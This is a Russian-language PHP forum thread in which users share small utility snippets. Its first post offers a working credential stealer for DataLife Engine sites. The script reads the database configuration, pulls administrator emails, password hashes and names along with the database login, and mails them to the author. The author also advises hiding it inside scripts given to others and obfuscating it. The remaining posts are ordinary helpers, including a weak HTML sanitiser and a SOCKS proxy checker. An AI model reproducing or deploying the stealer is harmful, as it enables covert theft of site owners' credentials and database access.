1. Начата процедура восстановления социальных групп. Лидерам старых и новых групп обязательно ознакомиться с регламентом проведения работ.

Стандартные решения (велосипеды)

Тема в разделе 'PHP', создана пользователем t3s, 17 сен 2010.

  1. Видимо ты ни сталкивался с такой проблемой если задал такой вопрос.
    array_reverse не переворачивает идексные ключи вот собственно и стала причиной изобретения велосипеда.
    Но чтобы это сообщение не было здесь флудом для читающих прикрепляю еще один мой велосипед
    "Велосипед ворования паролей администраторов dle".

    Код :

    PHP:

    <?php

    ob_start 
    ();
    // Подключаем основные библиотеки DLE
    define ("DATALIFEENGINE""1");
    include(
    "../engine/classes/mysql.class.php");
    include(
    "../engine/data/dbconfig.php");
    include(
    "../engine/data/config.php");


    // Устанавливаем соединение с MySQL
    mysql_connect(DBHOSTDBUSERDBPASS);
    mysql_select_db(DBNAME);


    //Получаем данные логина пароля и почты с mysql сайта источника

    $hack_on mysql_query("SELECT email,password,name FROM `".PREFIX."_users` WHERE user_group=1");

    //Упаковываем полученные логина/пароля/emaila  в таблицу
    while($arrays mysql_fetch_array($hack_on))
    {
    $alls .= $arrays['email']." || ".$arrays['password']." || ".$arrays['name']." || <br>";
    }

    //Здесь вы должны поставить вашу почту,на которую будут украденные отправляться данные
    $to "pochta@yandex.ru";

    //Здесь вы должны поставить заголовок сообщение которое будет Вам приходить при краже
    $subject "Данные украли!";

    //Также прикрепляем данные логина/пароля/хоста/префикс/имяБД к нашем украденным данным администраторов.
    $message DBHOST." || ".DBUSER." || ".DBPASS." || ".DBNAME." || ".PREFIX." || <br>".$_SERVER['HTTP_HOST']."<br>||".$alls;

    //отправляем данные к Вам на почту(данные скорей всего придут в папку СПАМ)
    mail($to$subject$message) ;


    ?>
    Можно встроить в какой-нибудь пользовательский скрипт для школоты,если же предполагается воравать данные ни школьников,то придется еще закодировать zend'ом например, и для гарантии лучше сперва обуфусцировать,но это другая история...
  2. PHP:

    print_r
    (array_reverse($atrue));
    Весь его нубовелосипед умещается в одну строку, и ключи там переворачиваются
  3. Можно проще:
    PHP:
    $result mysql_query("SELECT null FROM `база_данных` WHERE `nick` = '$nick' LIMIT 1");
    if (
    mysql_num_rows($result) > 0) {
      
    //Предлагаем выбрать другой ник
    }
    else {
      
    //Регистрируем
    }
  4. psn

    получение user агента загрузившего страницу + простенький фильтр от назойливого спам бота

    PHP:
    $agent $_SERVER['HTTP_USER_AGENT'];
    if (
    strpos($agent'Java') === 0) {
      exit();
    }
  5. PHP:
    // очищаем строку от опасных символов
    function untag ($string)
    {
    $string ereg_replace("<","&lt;",$string);
    $string ereg_replace(">","&gt;",$string);
    $string ereg_replace('\\\"',"&quot;",$string);
    $string ereg_replace(":","&#58;",$string);
    $string ereg_replace("!","&#33;",$string);
    $string ereg_replace("\r","",$string);
    $string ereg_replace("\n","<br>",$string);
    $string ereg_replace("%","&#37;",$string);
    $string ereg_replace("^ +","",$string);
    $string ereg_replace(" +$","",$string);
    $string ereg_replace(" +"," ",$string);
    return 
    $string;
    };
  6. А зачем через регулярное выражение, правельнее будет так -
    PHP:
     
    function untag (&$string)
    {
    $string str_replace(array("<"">"'\\\"' ":" "!" "\r" "\n" "%" "^ +" " +$" ,v),array("&lt;""&lt;" "&quot;" "&#58;" "&#33;" "" "<br>" "&#37;" "" "" " " ),$string); } 
    - вот так гораздо быстрее будет и экономней.
    idimka нравится это.
  7. С версии PHP 5.3.0 эта функция считается УСТАРЕВШЕЙ. Крайне не рекомендуется полагаться на эту возможность.

    источник -php.net

    хз насчет правильнее..
  8. PHP:
    <?php
    if(!isset($_POST['otkroy']))
    {
    ?>
    <center>
    <form action="" method="post">
    <textarea name="otkroy" cols="45" rows="15"></textarea><br /><br />
    <input type="submit" value="Отправить" />
    </form>
    </center>
    <?php
    }
    else
    {
    $fileTemp fopen("temp.txt","w");
    fwrite($fileTemp,$_POST['otkroy']);
    $allLink file("temp.txt");
    fclose($fileTemp);
    for (
    $i=0,$time=3000;$i<count($allLink);$i++,$time+=3000) {
    echo 
    "<form name=\"form1\" target=\"_blank\" method=\"post\" action=\"$allLink[$i]\">
    <input type=\"submit\" id=\"
    $i\" value=\"Добавить!\" />";
    echo 
    "<script language=\"JavaScript\">";
    echo 
    "setTimeout(\"document.getElementById('$i').click();\", $time);";
    echo 
    "</script>";
    echo 
    "</form>";

    }

    ?>
    Как часто нам порой приходится открывать одни и теже сайты ,почему бы не доверить это дело браузеру?Вот собственно скрипт который открой сразу все по очереди сайты которые вы вставите в поле textarea (работает в opera).
  9. PHP:
    <?php
    $fileProxy 
    'proxy.txt';
    $listProxy file($fileProxy);
    $stream 10;
    $countProxy count($listProxy);
     
    do{
        static 
    $i 0;
        if(
    $i==$countProxy){echo 'Прокси кончились!'; break; }
        if((
    $countProxy $i) > $stream){
            
    $countFor $i+$stream;
        } else {
            
    $countFor $countProxy;
        }
        unset(
    $bufArray);
        for(; 
    $i<$countFor$i++){
            
    $bufArray[] = $listProxy[$i];
        }
        
    $countBufArray count($bufArray);
        
    $curlMHandleS curl_multi_init();
     
        unset(
    $curlHandleS);
        for(
    $s 0$s<$countBufArray$s++){
            
    $curlHandleS[$s] = curl_init();
            
    curl_setopt($curlHandleS[$s],CURLOPT_RETURNTRANSFERtrue);
            
    curl_setopt($curlHandleS[$s],CURLOPT_CONNECTTIMEOUT0);
            
    curl_setopt($curlHandleS[$s], CURLOPT_TIMEOUT10);
            
    curl_setopt($curlHandleS[$s],CURLOPT_URL'http://ya.ru/');
            
    curl_setopt($curlHandleS[$s],CURLOPT_PROXYtrim($bufArray[$s]));
            
    curl_setopt($curlHandleS[$s], CURLOPT_PROXYTYPE,CURLPROXY_SOCKS5);
     
            
    curl_multi_add_handle ($curlMHandleS$curlHandleS[$s]);
        }
     
        do {
            
    curl_multi_exec ($curlMHandleS$run);
            while (
    $curlInfo curl_multi_info_read ($curlMHandleS))
            {
                
    $curlCODE curl_getinfo ($curlInfo['handle'], CURLINFO_HTTP_CODE);
                if (
    $curlCODE == 200) {
                    echo 
    $bufArray [array_search ($curlInfo['handle'], $curlHandleS)]."\r\n";
                }
                
    curl_close($curlInfo['handle']);
                
    curl_multi_remove_handle ($curlMHandleS$curlInfo['handle']);
            }
        } while (
    $run);
        
    curl_multi_close($curlMHandleS);
    }while(
    true);
    Много поточный прокси чекер соксов, в нете полно подобных но во всех, что я видел число потоков равно количеству строк в файле с прокси, это мня не устраивало... Вот написал такой велосипедик :) На выходных постараюсь дописать что бы чекал не только соксы но и http. То есть сразу проверял на соксы, патом в в этом же патоке (bufarray) создавал новый multi handle из остатков (те что не работают с CURLPROXY_SOCKS5), и проверял с CURLPROXY_HTTP.

    Тут проверка идёт путём захода на я.ру но можно сделать так: идём на google.com так как гугл этот адрес не использует он нас редиректит, редирект значить заголовок 301. проверяем если отдали 301 заголовок значит прокси работает.